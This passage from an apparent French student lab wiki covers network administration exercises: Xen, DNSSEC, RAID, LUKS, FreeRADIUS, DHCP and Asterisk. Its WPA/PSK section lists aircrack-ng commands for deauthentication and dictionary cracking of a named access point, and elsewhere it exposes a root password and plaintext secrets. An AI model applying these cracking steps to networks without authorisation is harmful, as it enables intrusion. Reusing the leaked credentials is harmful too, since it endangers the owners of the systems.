 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;faispastomberlasavo.net.	IN	DNSKEY   &lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
 faispastomberlasavo.net. 604800	IN	DNSKEY	257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=&lt;br /&gt;
 faispastomberlasavo.net. 604800	IN	DNSKEY	256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 127.0.0.1#53(127.0.0.1)&lt;br /&gt;
 ;; WHEN: Mon Nov 28 17:05:19 CET 2016&lt;br /&gt;
 ;; MSG SIZE  rcvd: 476&lt;br /&gt;
&lt;br /&gt;
==Crack clé WPA/PSK==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut passer l'interface réseau en mode &amp;quot;Monitor&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa mon0&lt;br /&gt;
&lt;br /&gt;
Nous voulions trouvé la clé de &amp;quot;cracotte01&amp;quot;, nous avons donc filtré pour le bssid &amp;quot;04:DA:D2:9C:50:50&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0&lt;br /&gt;
 aireplay-ng -0 0 -a 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
Nous avons créer notre dictionnaire de la façon suivante&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 0123456789 -o dico.txt&lt;br /&gt;
&lt;br /&gt;
Que nous avons tester sur une Zabeth par soucis de rapidité&lt;br /&gt;
 &lt;br /&gt;
 aircrack-ng -w dico.txt out-01.cap&lt;br /&gt;
&lt;br /&gt;
Qui nous a donné le résultat suivant&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:Aircrack_screen.png|500px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
==Travail à Réalisé==&lt;br /&gt;
===6.1 Raid===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il a fallu créer les disques virtuels avec ''lvcreate'' :&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/Frotteman-raid1 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/Frotteman-raid2 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/Frotteman-raid3 -v&lt;br /&gt;
&lt;br /&gt;
Puis il faut rajouter à la config ''/etc/xen/Frotteman.cfg'' :&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/virtual/Frotteman-raid1,xvdd1, w',&lt;br /&gt;
 'phy:/dev/virtual/Frotteman-raid2,xvdd2, w',&lt;br /&gt;
 'phy:/dev/virtual/Frotteman-raid3,xvdd3, w',&lt;br /&gt;
&lt;br /&gt;
Une fois ceci fait on redémarre la VM et on installe ''mdadm'' :&lt;br /&gt;
&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
On met à jour les modules du kernel (enfin je crois) :&lt;br /&gt;
&lt;br /&gt;
 apt-get install linux-image.3.16.0-4-amd64&lt;br /&gt;
&lt;br /&gt;
Il ne nous reste plus qu'à créer notre disque RAID5 ''md0'' :&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3&lt;br /&gt;
&lt;br /&gt;
Nous installons un système de fichier ''ext4'' dessus:&lt;br /&gt;
&lt;br /&gt;
 mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant le monter :&lt;br /&gt;
&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour tester nous avons copié en partie le dossier /lib dans /mnt.&lt;br /&gt;
Nous commentons une ligne du fichier /etc/xen/Frotteman.cfg&lt;br /&gt;
&lt;br /&gt;
 #'phy:/dev/virtual/Frotteman-raid2,xvdd2, x',&lt;br /&gt;
&lt;br /&gt;
Puis nous observons les différents résultats via ''fdisk'' :&lt;br /&gt;
&lt;br /&gt;
 fdisk -l&lt;br /&gt;
&lt;br /&gt;
 Disk /dev/xvdd1: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdd3: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
On observe l'absence du disque xvdd2 mais nous avons en revanche toutes nos données sur /mnt&lt;br /&gt;
&lt;br /&gt;
 root@Frotteman:~# ls /mnt/lib&lt;br /&gt;
 ifupdown			      libipq.so.0.0.0	    startpar&lt;br /&gt;
 init				      libiptc.so.0	    systemd&lt;br /&gt;
 klibc-IpHGKKbZiB_yZ7GPagmQz2GwVAQ.so  libiptc.so.0.0.0	    terminfo&lt;br /&gt;
 libip4tc.so.0			      libxtables.so.10	    udev&lt;br /&gt;
 libip4tc.so.0.1.0		      libxtables.so.10.0.0  x86_64-linux-gnu&lt;br /&gt;
 libip6tc.so.0			      lsb		    xtables&lt;br /&gt;
 libip6tc.so.0.1.0		      modprobe.d&lt;br /&gt;
 libipq.so.0			      modules&lt;br /&gt;
&lt;br /&gt;
Nous avons même été prévenu via mail par mdadm, c'est bo l'info !!&lt;br /&gt;
&lt;br /&gt;
 From root@faispastomberlasavo.net  Wed Dec  7 17:06:00 2016&lt;br /&gt;
 X-Original-To: root&lt;br /&gt;
 From: mdadm monitoring &amp;lt;root@faispastomberlasavo.net&amp;gt;&lt;br /&gt;
 To: root@faispastomberlasavo.net&lt;br /&gt;
 Subject: DegradedArray event on /dev/md0:Frotteman&lt;br /&gt;
 Date: Wed,  7 Dec 2016 17:05:56 +0100 (CET)&lt;br /&gt;
 &lt;br /&gt;
 This is an automatically generated mail message from mdadm&lt;br /&gt;
 running on Frotteman&lt;br /&gt;
 &lt;br /&gt;
 A DegradedArray event had been detected on md device /dev/md0.&lt;br /&gt;
 &lt;br /&gt;
 Faithfully yours, etc.&lt;br /&gt;
 &lt;br /&gt;
 P.S. The /proc/mdstat file currently contains the following:&lt;br /&gt;
 &lt;br /&gt;
 Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
 md0 : active (auto-read-only) raid5 xvdd1[0] xvdd3[2]&lt;br /&gt;
       2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
       &lt;br /&gt;
 unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage carte SD===&lt;br /&gt;
Pour crypter les données présente sur un support de stockage nous utiliserons Gparted et CryptSetup&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c eas -h sha256 /dev/mmcblk1&lt;br /&gt;
&lt;br /&gt;
On rentre notre phrase secrète.&lt;br /&gt;
&lt;br /&gt;
Optionel : On peut afficher l'état du conteneur grâce à la commande :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksDump /dev/mmcblk1&lt;br /&gt;
&lt;br /&gt;
On peut désormais ouvrir notre volume appelé &amp;quot;frotteman&amp;quot;, il nous faudra ensuite renseigner la clé secrète :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksOpen /dev/mmcblk1 frotteman&lt;br /&gt;
&lt;br /&gt;
On peut désormais formater le volume en ext3&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext3 /dev/mapper/frotteman&lt;br /&gt;
&lt;br /&gt;
Et finalement monter/demonter le volume :&lt;br /&gt;
&lt;br /&gt;
 mount /dev/mapper/frotteman /mnt/&lt;br /&gt;
 umount /mnt &lt;br /&gt;
&lt;br /&gt;
Et également fermé le volume chiffré :&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksClose frotteman&lt;br /&gt;
&lt;br /&gt;
===6.6 Securasition Wifi par WPA2-EAP===&lt;br /&gt;
 &lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :&lt;br /&gt;
&lt;br /&gt;
 client E306{&lt;br /&gt;
         ipaddr = 10.60.1.2&lt;br /&gt;
         secret = password&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.&lt;br /&gt;
&lt;br /&gt;
 frotteman Cleartext-Password := &amp;quot;youpi&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.&lt;br /&gt;
Configuration des bornes Wi-Fi&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_frotteman group radius_frotteman&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key password&lt;br /&gt;
 aaa group server radius radius_frotteman&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 dot11 ssid SSID_FROTTEMAN&lt;br /&gt;
 vlan 2&lt;br /&gt;
 authentication open eap eap_frotteman&lt;br /&gt;
 authentication network-eap eap_frotteman&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 mbssid guest-mode&lt;br /&gt;
 &lt;br /&gt;
 exit &lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_FROTTEMAN &lt;br /&gt;
 &lt;br /&gt;
 exit &lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
 bridge-group 2 subscriber-loop-control&lt;br /&gt;
 bridge-group 2 spanning-disabled&lt;br /&gt;
 bridge-group 2 block-unknown-source&lt;br /&gt;
 no bridge-group 2 source-learning&lt;br /&gt;
 no bridge-group 2 unicast-flooding  &lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface GigabitEthernet0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
  &lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===6.8.1 DHCP===&lt;br /&gt;
On installe un server DHCP sur l'eeePC :&lt;br /&gt;
&lt;br /&gt;
 apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
On configure le fichier /etc/dhcp/dhcpd.conf :&lt;br /&gt;
&lt;br /&gt;
 option domain-name &amp;quot;faispastomberlasavo.net&amp;quot;;&lt;br /&gt;
 option domain-name-servers 193.48.57.161;&lt;br /&gt;
 &lt;br /&gt;
 subnet 10.60.2.0 netmask 255.255.255.0 {&lt;br /&gt;
       range 10.60.2.50 10.60.2.100;&lt;br /&gt;
       option routers 10.60.6.1;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Il ne nous reste plus qu'a indiqué notre interface réseau dans le fichier /etc/dhcp/isc-dhcp-server&lt;br /&gt;
 &lt;br /&gt;
===6.8.2 PCBx===&lt;br /&gt;
&lt;br /&gt;
On installe asterisk &lt;br /&gt;
 apt-get install asterisk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/asterisk/sip.conf afin de créer 2 utilisateurs 666 &amp;amp; 665:&lt;br /&gt;
&lt;br /&gt;
 [general]&lt;br /&gt;
 hasvoicemail=yes&lt;br /&gt;
 hassip=yes&lt;br /&gt;
 hasiax=yes&lt;br /&gt;
 callwaiting=yes&lt;br /&gt;
 threewaycalling=yes&lt;br /&gt;
 callwaitingcallerid=yes&lt;br /&gt;
 transfer=yes&lt;br /&gt;
 canpark=yes&lt;br /&gt;
 cancallforward=yes&lt;br /&gt;
 callreturn=yes&lt;br /&gt;
 callgroup=1&lt;br /&gt;
 pickupgroup=1&lt;br /&gt;
 nat=yes&lt;br /&gt;
 &lt;br /&gt;
 [666]&lt;br /&gt;
 type=friend&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname=Cduval&lt;br /&gt;
 username=cduval&lt;br /&gt;
 secret=glopglop&lt;br /&gt;
 context=work &lt;br /&gt;
 &lt;br /&gt;
 [665]&lt;br /&gt;
 type=friend&lt;br /&gt;
 host=dynamic&lt;br /&gt;
 dtmfmode=rfc2833&lt;br /&gt;
 disallow=all&lt;br /&gt;
 allow=ulaw&lt;br /&gt;
 fullname=Pfitouss&lt;br /&gt;
 username=pfitouss&lt;br /&gt;
 secret=glopglop&lt;br /&gt;
 context=work &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons donc constater que le communication est réussi&lt;br /&gt;
 Frotteman*CLI&amp;gt; sip show peers&lt;br /&gt;
 Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      &lt;br /&gt;
 665/pfitouss              (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  &lt;br /&gt;
 666/cduval                (Unspecified)                            D  Auto (No)  No             0        Unmonitored                                  &lt;br /&gt;
 2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]&lt;br /&gt;
     -- Registered SIP '665' at 10.60.2.100:38862&lt;br /&gt;
 [Jan  6 16:10:49] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665&lt;br /&gt;
     -- Registered SIP '666' at 10.60.2.101:35192&lt;br /&gt;
 [Jan  6 16:12:06] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 666&lt;br /&gt;
 [Jan  6 16:12:14] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665&lt;br /&gt;
   == Using SIP RTP CoS mark 5&lt;br /&gt;
     -- Executing [666@work:1] Dial(&amp;quot;SIP/665-00000000&amp;quot;, &amp;quot;SIP/666,20&amp;quot;) in new stack&lt;br /&gt;
   == Using SIP RTP CoS mark 5&lt;br /&gt;
     -- Called SIP/666&lt;br /&gt;
     -- SIP/666-00000001 is ringing&lt;br /&gt;
     -- SIP/666-00000001 answered SIP/665-00000000&lt;br /&gt;
     -- Remotely bridging SIP/665-00000000 and SIP/666-00000001&lt;br /&gt;
   == Spawn extension (work, 666, 1) exited non-zero on 'SIP/665-00000000'&lt;br /&gt;
 Frotteman*CLI&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B01&amp;diff=37045</id>
		<title>Cahier 2016 groupe n°1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B01&amp;diff=37045"/>
				<updated>2017-01-07T18:59:01Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* 6.8 DHCP &amp;amp; PCBx */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : Configuration du Bonding=&lt;br /&gt;
&lt;br /&gt;
Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :&lt;br /&gt;
&lt;br /&gt;
 alias bond0 bonding&lt;br /&gt;
 options bonding mode=1 miimon=100 downdelay=200 updelay=200&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi configuré le fichier /etc/network/interfaces&lt;br /&gt;
en y incluant la configuration des différentes interfaces : eth100, eth101 ainsi que la configuration du bridge: br0 et du bonding: bond0.&lt;br /&gt;
&lt;br /&gt;
 #Bonding IMA5sc&lt;br /&gt;
 #auto eth100&lt;br /&gt;
 #iface eth0 inet manual&lt;br /&gt;
 #	bond-master bond0&lt;br /&gt;
 #	bond-primary eth100 eth101&lt;br /&gt;
 #	bond-mode 5&lt;br /&gt;
 &lt;br /&gt;
 #auto eth101&lt;br /&gt;
 #iface eth1 inet manual	&lt;br /&gt;
 #	bond-master bond0&lt;br /&gt;
 #	bond-primary eth100 eth101&lt;br /&gt;
 #	bond-mode 5&lt;br /&gt;
 &lt;br /&gt;
 #auto bond0&lt;br /&gt;
 #iface bond0 inet dhcp&lt;br /&gt;
 #	pre-up modprobe bonding&lt;br /&gt;
 #	pre-up ifconfig bond0 up&lt;br /&gt;
 #	pre-up /sbin/ifenslave  bond0 eth100 eth101&lt;br /&gt;
 #	down sbin/ifenslave -d bond0 eth100 eth101&lt;br /&gt;
 #	bonds-slaves none&lt;br /&gt;
 #&lt;br /&gt;
 #auto br0&lt;br /&gt;
 #iface br0 inet dhcp&lt;br /&gt;
 #	bridge-ports bond0&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : Installation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Installation de la machine virtuelle sur le serveur cordouan:&lt;br /&gt;
&lt;br /&gt;
 root@cordouan:/usr/local/xen/domains# xen-create-image --hostname=Frotteman --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.171  --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=glopglop&lt;br /&gt;
&lt;br /&gt;
 WARNING&lt;br /&gt;
 -------&lt;br /&gt;
 &lt;br /&gt;
  You appear to have a missing vif-script, or network-script, in the&lt;br /&gt;
  Xen configuration file /etc/xen/xend-config.sxp.&lt;br /&gt;
 &lt;br /&gt;
  Please fix this and restart Xend, or your guests will not be able&lt;br /&gt;
 to use any networking!&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  Frotteman&lt;br /&gt;
 Distribution   :  jessie&lt;br /&gt;
 Mirror         :  http://debian.polytech-lille.fr/debian/&lt;br /&gt;
 Partitions     :  swap            128M  (swap)&lt;br /&gt;
                   /               4G    (ext3)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  128M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-3.14-2-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-3.14-2-amd64&lt;br /&gt;
 &lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 193.48.57.161 [MAC: 00:16:3E:F4:F8:CE]&lt;br /&gt;
 Netmask        : 255.255.255.240&lt;br /&gt;
 Gateway        : 193.48.57.171&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Creating partition image: /usr/local/xen/domains/Frotteman/swap.img&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Creating swap on /usr/local/xen/domains/Frotteman/swap.img&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Creating partition image: /usr/local/xen/domains/Frotteman/disk.img&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Creating ext3 filesystem on /usr/local/xen/domains/Frotteman/disk.img&lt;br /&gt;
 Done&lt;br /&gt;
 Installation method: debootstrap&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 Running hooks&lt;br /&gt;
 Done&lt;br /&gt;
 &lt;br /&gt;
 No role scripts were specified.  Skipping &lt;br /&gt;
 &lt;br /&gt;
 Creating Xen configuration file&lt;br /&gt;
 Done &lt;br /&gt;
 &lt;br /&gt;
 No role scripts were specified.  Skipping&lt;br /&gt;
 Setting up root password&lt;br /&gt;
 Generating a password for the new guest.&lt;br /&gt;
 All done&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Logfile produced at:&lt;br /&gt;
 	 /var/log/xen-tools/Frotteman.log&lt;br /&gt;
 &lt;br /&gt;
 Installation Summary&lt;br /&gt;
 ---------------------&lt;br /&gt;
 Hostname        :  Frotteman&lt;br /&gt;
 Distribution    :  jessie&lt;br /&gt;
 MAC Address     :  00:16:3E:F4:F8:CE&lt;br /&gt;
 IP Address(es)  :  193.48.57.161 &lt;br /&gt;
 RSA Fingerprint :  37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2&lt;br /&gt;
 Root Password   :  fsBsiSE4&lt;br /&gt;
&lt;br /&gt;
=Séance3 : Volumes logiques=&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques pour la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v&lt;br /&gt;
 lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v&lt;br /&gt;
&lt;br /&gt;
Ajouts des partitions à la configuration de la machine virtuelle.&lt;br /&gt;
 'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',&lt;br /&gt;
&lt;br /&gt;
=Séance4=&lt;br /&gt;
&lt;br /&gt;
Commande pour démarrer la VM lorsqu'elle est totalement éteinte :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Frotteman.cfg&lt;br /&gt;
&lt;br /&gt;
Nom de domaine réservé sur gandi.net&lt;br /&gt;
&lt;br /&gt;
 faispastomberlasavo.net&lt;br /&gt;
&lt;br /&gt;
=Séance5 : DNS=&lt;br /&gt;
&lt;br /&gt;
Installation de bind9 sur la VM xen.&lt;br /&gt;
&lt;br /&gt;
Modification du fichier /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;faispastomberlasavo.net&amp;quot; {&lt;br /&gt;
           type master;&lt;br /&gt;
           file &amp;quot;/etc/bind/db.faispastomberlasavo.net&amp;quot;;&lt;br /&gt;
           allow-transfer { 217.70.177.40; };&lt;br /&gt;
      };&lt;br /&gt;
&lt;br /&gt;
Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net&lt;br /&gt;
 &lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (&lt;br /&gt;
                        2              ; Serial&lt;br /&gt;
                        604800         ; Refresh&lt;br /&gt;
                         86400         ; Retry&lt;br /&gt;
                       2419200         ; Expire&lt;br /&gt;
                        604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
         IN      NS      ns6.gandi.net.&lt;br /&gt;
 @       IN      NS      ns.faispastomberlasavo.net.&lt;br /&gt;
 ns      IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161&lt;br /&gt;
 @       IN      A       193.48.57.161&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Redémarrer bind&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/bind9 restart&lt;br /&gt;
&lt;br /&gt;
Changez la configuration des serveurs du domaine Gandi &lt;br /&gt;
 DNS1: ns.faispastomberlasavo.net&lt;br /&gt;
 DNS2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Commande:&lt;br /&gt;
 nslookup www.faispastomberlasavo.net&lt;br /&gt;
&lt;br /&gt;
Résultat:&lt;br /&gt;
 Server:		193.48.57.161&lt;br /&gt;
 Address:	193.48.57.161#53 &lt;br /&gt;
 &lt;br /&gt;
 Name:	www.faispastomberlasavo.net&lt;br /&gt;
 Address: 193.48.57.161&lt;br /&gt;
&lt;br /&gt;
=Séance6 : Sécurisation &amp;amp; Certification=&lt;br /&gt;
commande pour générer certificat SSL &lt;br /&gt;
 &lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha1 -keyout faispas.key -out faispas.csr&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net&lt;br /&gt;
 Email Address []:cedricduval94@gmail.com&lt;br /&gt;
&lt;br /&gt;
On ajoute le contenu du fichier serveur.csr dans gandi&lt;br /&gt;
&lt;br /&gt;
On ajoute les fichiers à notre config :&lt;br /&gt;
&lt;br /&gt;
 cp faispas.crt GandiStandardSSLCA2.pem /etc/ssl/certs/ &lt;br /&gt;
 cp faispas.key /etc/ssl/private/&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
 root@Frotteman:~# c_rehash /etc/ssl/certs &lt;br /&gt;
 Doing /etc/ssl/certs&lt;br /&gt;
 GandiStandardSSLCA2.pem =&amp;gt; 8544bf03.0&lt;br /&gt;
 GandiStandardSSLCA2.pem =&amp;gt; e279a80b.0&lt;br /&gt;
 faispas.crt =&amp;gt; 82591bcd.0&lt;br /&gt;
 faispas.crt =&amp;gt; a73fda57.0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DNSSEC&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE  faispastomberlasavo.net &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE  faispastomberlasavo.net &lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key&lt;br /&gt;
 $include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key&lt;br /&gt;
&lt;br /&gt;
 /etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o  faispastomberlasavo.net -k  faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk&lt;br /&gt;
&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.faispastomberlasavo.net.signed&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY faispastomberlasavo.net @localhost&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 10598&lt;br /&gt;
 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;faispastomberlasavo.net.	IN	DNSKEY   &lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
